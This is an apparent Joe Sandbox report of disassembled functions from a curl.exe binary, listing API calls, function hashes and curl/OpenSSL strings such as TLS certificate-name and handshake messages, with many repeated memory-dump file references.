Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: Count64Tick__aulldiv
String ID: User-Agent: %s
API String ID: 1362846788-43864714
Opcode ID: e90568e94fa6c2527ff68467644e2ff757bbd74dc98fc62afdec38b330b9bcfc
Instruction ID: c917565a2fb41615518438c58ec28bf3dc35338ee15d08f8652a9d1fddf25e74
Opcode Fuzzy Hash: e90568e94fa6c2527ff68467644e2ff757bbd74dc98fc62afdec38b330b9bcfc
Instruction Fuzzy Hash: 84510672B406406BEB196B38ED4A7BEBB5CEB42712F04437AFD0CAE1D1DF61591087A0

Function 00942A80 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 333COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00942D6E

Strings

3, xrefs: 00942DBB
subjectAltName: %s matched, xrefs: 00942C22
subjectAltName does not match %s, xrefs: 00942C8E
SSL: unable to obtain common name from peer certificate, xrefs: 00942DE5
SSL: certificate subject name '%s' does not match target host name '%s', xrefs: 00942E24
..\..\curl\lib\vtls\openssl.c, xrefs: 00942D56
SSL: illegal cert name field, xrefs: 00942DAD
SSL: no alternative certificate subject name matches target host name '%s', xrefs: 00942CA2
common name: %s (matched), xrefs: 00942E3A

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memmove
String ID: common name: %s (matched)$ subjectAltName does not match %s$ subjectAltName: %s matched$..\..\curl\lib\vtls\openssl.c$3$SSL: certificate subject name '%s' does not match target host name '%s'$SSL: illegal cert name field$SSL: no alternative certificate subject name matches target host name '%s'$SSL: unable to obtain common name from peer certificate
API String ID: 4104443479-935444448
Opcode ID: 5d2d316d799b0adab82385eb7290c767decf8c9b46c17dbb03e95ed609979e10
Instruction ID: cdc8482b978089b2d989bdc0abf5dd558e2915fd5c7b042f61bf481814a4d84e
Opcode Fuzzy Hash: 5d2d316d799b0adab82385eb7290c767decf8c9b46c17dbb03e95ed609979e10
Instruction Fuzzy Hash: 94B1F4316087018BC720DF24C891F6BB7A5BFC5318F95866DF8995B292DB34ED06CB92

Function 0098AFE0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 294COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0098B086

Strings

..\..\openssl\openssl\ssl\ssl_cert.c, xrefs: 0098B104
..\..\openssl\openssl\ssl\ssl_cert.c, xrefs: 0098B12A
..\..\openssl\openssl\ssl\ssl_cert.c, xrefs: 0098B2C5, 0098B2DF, 0098B2FD
..\..\openssl\openssl\ssl\ssl_cert.c, xrefs: 0098B328
..\..\openssl\openssl\ssl\ssl_cert.c, xrefs: 0098B1A4
..\..\openssl\openssl\ssl\ssl_cert.c, xrefs: 0098B255, 0098B26F, 0098B28D
..\..\openssl\openssl\ssl\ssl_cert.c, xrefs: 0098B001, 0098B021, 0098B046
..\..\openssl\openssl\ssl\ssl_cert.c, xrefs: 0098B153
..\..\openssl\openssl\ssl\ssl_cert.c, xrefs: 0098B05F

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memset
String ID: ..\..\openssl\openssl\ssl\ssl_cert.c$..\..\openssl\openssl\ssl\ssl_cert.c$..\..\openssl\openssl\ssl\ssl_cert.c$..\..\openssl\openssl\ssl\ssl_cert.c$..\..\openssl\openssl\ssl\ssl_cert.c$..\..\openssl\openssl\ssl\ssl_cert.c$..\..\openssl\openssl\ssl\ssl_cert.c$..\..\openssl\openssl\ssl\ssl_cert.c$..\..\openssl\openssl\ssl\ssl_cert.c
API String ID: 2102423945-2638185736
Opcode ID: 516c660cbdef2ac62137a58805d6573fb55d7a61067e07ed3cbc4a6fa7a5e1a3
Instruction ID: 103138ea7e1d498d30927d285c87b8b31a5ea6489c21234a73503846c34f546b
Opcode Fuzzy Hash: 516c660cbdef2ac62137a58805d6573fb55d7a61067e07ed3cbc4a6fa7a5e1a3
Instruction Fuzzy Hash: 4AA1A0307417015BE724EF69DC96F6A77E4BB94B04F08052DFA1AAB3C2EB74E9018751

Function 009B2EB0 Relevance: 17.7, APIs: 2, Strings: 8, Instructions: 206COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 009B2F19
_memmove.LIBCMT ref: 009B2F8D

Strings

key expansion, xrefs: 009B3019
..\..\openssl\openssl\ssl\t1_enc.c, xrefs: 009B3097
master secret, xrefs: 009B2FF5
client finished, xrefs: 009B2F97
server finished, xrefs: 009B2FC8
..\..\openssl\openssl\ssl\t1_enc.c, xrefs: 009B2EFA
..\..\openssl\openssl\ssl\t1_enc.c, xrefs: 009B303F
..\..\openssl\openssl\ssl\t1_enc.c, xrefs: 009B2EB5

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memmove
String ID: ..\..\openssl\openssl\ssl\t1_enc.c$..\..\openssl\openssl\ssl\t1_enc.c$..\..\openssl\openssl\ssl\t1_enc.c$..\..\openssl\openssl\ssl\t1_enc.c$client finished$key expansion$master secret$server finished
API String ID: 4104443479-1540842298
Opcode ID: 6e2bcd56e673b653cecf249d2ce2926c4f278b3cb776bec5e8ed471655e24e62
Instruction ID: 458e743332818c3716060ab9e67c243f993fe15792619a5a4095e5fd6dbb958b
Opcode Fuzzy Hash: 6e2bcd56e673b653cecf249d2ce2926c4f278b3cb776bec5e8ed471655e24e62
Instruction Fuzzy Hash: 596144727043415BE3108B28CD41BBA77A9FF96728F584168F985AF381EB62EE43C751

Function 009E4AA0 Relevance: 17.7, APIs: 2, Strings: 8, Instructions: 203COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 009E4BCB
_memset.LIBCMT ref: 009E4C67

Part of subcall function 0098AD70: _raise.LIBCMT ref: 0098AD82

Strings

..\..\openssl\openssl\ssl\s2_enc.c, xrefs: 009E4B51, 009E4B6E, 009E4B91
..\..\openssl\openssl\ssl\s2_enc.c, xrefs: 009E4D37
s->s2->key_material_length <= sizeof s->s2->key_material, xrefs: 009E4D2D
..\..\openssl\openssl\ssl\s2_enc.c, xrefs: 009E4BEE, 009E4C0B, 009E4C2D
c->iv_len <= (int)sizeof(s->session->key_arg), xrefs: 009E4D19
..\..\openssl\openssl\ssl\s2_enc.c, xrefs: 009E4C49
..\..\openssl\openssl\ssl\s2_enc.c, xrefs: 009E4D23
..\..\openssl\openssl\ssl\s2_enc.c, xrefs: 009E4AEF

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _memset$_raise
String ID: ..\..\openssl\openssl\ssl\s2_enc.c$..\..\openssl\openssl\ssl\s2_enc.c$..\..\openssl\openssl\ssl\s2_enc.c$..\..\openssl\openssl\ssl\s2_enc.c$..\..\openssl\openssl\ssl\s2_enc.c$..\..\openssl\openssl\ssl\s2_enc.c$c->iv_len <= (int)sizeof(s->session->key_arg)$s->s2->key_material_length <= sizeof s->s2->key_material
API String ID: 1505022616-922011604
Opcode ID: db86ebd9bd77b8d98df2d5dd3a017f57891b8b3c055dc3bbbf5eb833df48eb1f
Instruction ID: 89d5693dcc0da39bdc59cec3e3f215c766d58cb05e3068b5fcb60e2bb5a3e544
Opcode Fuzzy Hash: db86ebd9bd77b8d98df2d5dd3a017f57891b8b3c055dc3bbbf5eb833df48eb1f
Instruction Fuzzy Hash: 8661D571740701EBF714DB69DC42F96B3A8BB41B04F044125FA49AB2C2DBB9AC15CBA5

Function 0098AB10 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 106libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000009,?), ref: 0098AB30
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 0098AB40
GetDesktopWindow.USER32 ref: 0098AB64
GetProcessWindowStation.USER32 ref: 0098AB6A
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?), ref: 0098AB85
GetLastError.KERNEL32 ref: 0098AB93
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?), ref: 0098ABCE
_wcsstr.LIBCMT ref: 0098ABF3

Strings

_OPENSSL_isservice, xrefs: 0098AB3A
Service-0x, xrefs: 0098ABE9

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: InformationObjectUserWindow$AddressDesktopErrorHandleLastModuleProcProcessStation_wcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 2112994598-1672312481
Opcode ID: c57e82e6b4e0497a8d1ef6d96588ab601005b26a99ef4f3aedeb6cf360f3aa45
Instruction ID: c35c0efa005f7e5ad056f95538f52af0e0a39708421d860f91776c95853b20c2
Opcode Fuzzy Hash: c57e82e6b4e0497a8d1ef6d96588ab601005b26a99ef4f3aedeb6cf360f3aa45
Instruction Fuzzy Hash: 72318731A00209ABDB10EFB8ED46AAE777CEF44724F10026AF856D72D1EB349E028751

Function 009A22E0 Relevance: 16.0, APIs: 4, Strings: 5, Instructions: 278COMMON

Download Yara Rule

APIs

_fseek.LIBCMT ref: 009A230F
__setmode.LIBCMT ref: 009A2369
__setmode.LIBCMT ref: 009A2380
GetLastError.KERNEL32(..\..\openssl\openssl\crypto\bio\bss_file.c,0000018E), ref: 009A2508

Strings

..\..\openssl\openssl\crypto\bio\bss_file.c, xrefs: 009A2577
..\..\openssl\openssl\crypto\bio\bss_file.c, xrefs: 009A2542
..\..\openssl\openssl\crypto\bio\bss_file.c, xrefs: 009A2503
fopen(', xrefs: 009A252C
',', xrefs: 009A2526

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: __setmode$ErrorLast_fseek
String ID: ','$..\..\openssl\openssl\crypto\bio\bss_file.c$..\..\openssl\openssl\crypto\bio\bss_file.c$..\..\openssl\openssl\crypto\bio\bss_file.c$fopen('
API String ID: 928367125-946823011
Opcode ID: 87da28da1d0944f4ab2e917fbec640099a77382a2063d76c86063319ea41c0be
Instruction ID: 4135f69c22f13c3f8e6c74b28868bda20805d1373398efc1ef5420925e63a001
Opcode Fuzzy Hash: 87da28da1d0944f4ab2e917fbec640099a77382a2063d76c86063319ea41c0be
Instruction Fuzzy Hash: 548139726183404BDB14DB2CAC417EBBBC9EB8B355F0849B5F9858B691D72ADC0983E1

Function 0096AC40 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 267COMMON

Download Yara Rule

Strings

GSSAPI handshake failure (invalid security layer), xrefs: 0096ADE0
GSSAPI handshake failure (empty security message), xrefs: 0096AD8F
GSSAPI handshake failure (empty security message), xrefs: 0096AFF4
GSSAPI handshake failure (invalid security data), xrefs: 0096ADB0

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID:
String ID: GSSAPI handshake failure (empty security message)$GSSAPI handshake failure (empty security message)$GSSAPI handshake failure (invalid security data)$GSSAPI handshake failure (invalid security layer)
API String ID: 0-2965908308
Opcode ID: 2614e8029eb6972498cdff6111200b7419cc7aa11f54e41ea62dd260bdd175d0
Instruction ID: 0f07743763555cb5d55ab38d02e89c518e0433475864637e24bbe499503bb439
Opcode Fuzzy Hash: 2614e8029eb6972498cdff6111200b7419cc7aa11f54e41ea62dd260bdd175d0
Instruction Fuzzy Hash: 5BB189B15083419FD720DF68DC45B5BBBE8BF88304F048829F98997262D776E949CB93

Function 00956E50 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 171COMMON

Download Yara Rule

APIs

_swscanf.LIBCMT ref: 00956E82

Part of subcall function 00A1FCFF: _vscan_fn.LIBCMT ref: 00A1FD13

Strings

Session:, xrefs: 00956ECC
Unable to read the CSeq header: [%s], xrefs: 00956EAF
: %ld, xrefs: 00956E7C
CSeq:, xrefs: 00956E54
Got a blank Session ID, xrefs: 00956EFF
Got RTSP Session ID Line [%s], but wanted ID [%s], xrefs: 00956F4F

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: _swscanf_vscan_fn
String ID: : %ld$CSeq:$Got RTSP Session ID Line [%s], but wanted ID [%s]$Got a blank Session ID$Session:$Unable to read the CSeq header: [%s]
API String ID: 1942008592-1168109407
Opcode ID: d87c793d984d74d6723987ddb33560f7247bfb3e9435b09db22ced1f672ff37d
Instruction ID: 7dc3982bbdd1c1021d31118d4366824760b2b7e00418d90078050259f769052f
Opcode Fuzzy Hash: d87c793d984d74d6723987ddb33560f7247bfb3e9435b09db22ced1f672ff37d
Instruction Fuzzy Hash: 86415AA7A0524057EF20DE2ABC41BA7779DDFC1326F58447AFC45CB242EA22C91E8361

Function 00956FF0 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 140COMMON

Download Yara Rule

APIs

__time64.LIBCMT ref: 0095700D

Part of subcall function 00A2144E: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00000000,00000000,00000000,00000000,00000000,?,00000000,?,000003E8,00000000), ref: 00A21457
Part of subcall function 00A2144E: __aulldiv.LIBCMT ref: 00A21477

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0095705E
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0095711C
__time64.LIBCMT ref: 0095714D

Strings

set timeouts for state %d; Total %ld, retry %d maxtry %d, xrefs: 0095713D
gfff, xrefs: 009570E2
gfff, xrefs: 00957078
Connection time-out, xrefs: 0095702F

Memory Dump Source

Source File: 00000034.00000002.1413950428.0000000000921000.00000020.00000001.01000000.00000008.sdmp, Offset: 00920000, based on PE: true

Associated: 00000034.00000002.1413927503.0000000000920000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414088279.0000000000A3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414131424.0000000000A69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414159118.0000000000A6B000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414279845.0000000000A70000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414502656.0000000000A71000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414546255.0000000000A7B000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414587262.0000000000A7C000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414619605.0000000000A7D000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414641113.0000000000A7F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414685954.0000000000A81000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414718795.0000000000A82000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414741218.0000000000A83000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414915467.0000000000AC7000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000034.00000002.1414981573.0000000000ACC000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_52_2_920000_curl.jbxd

Similarity

API ID: TimeUnothrow_t@std@@@__ehfuncinfo$??2@__time64$FileSystem__aulldiv
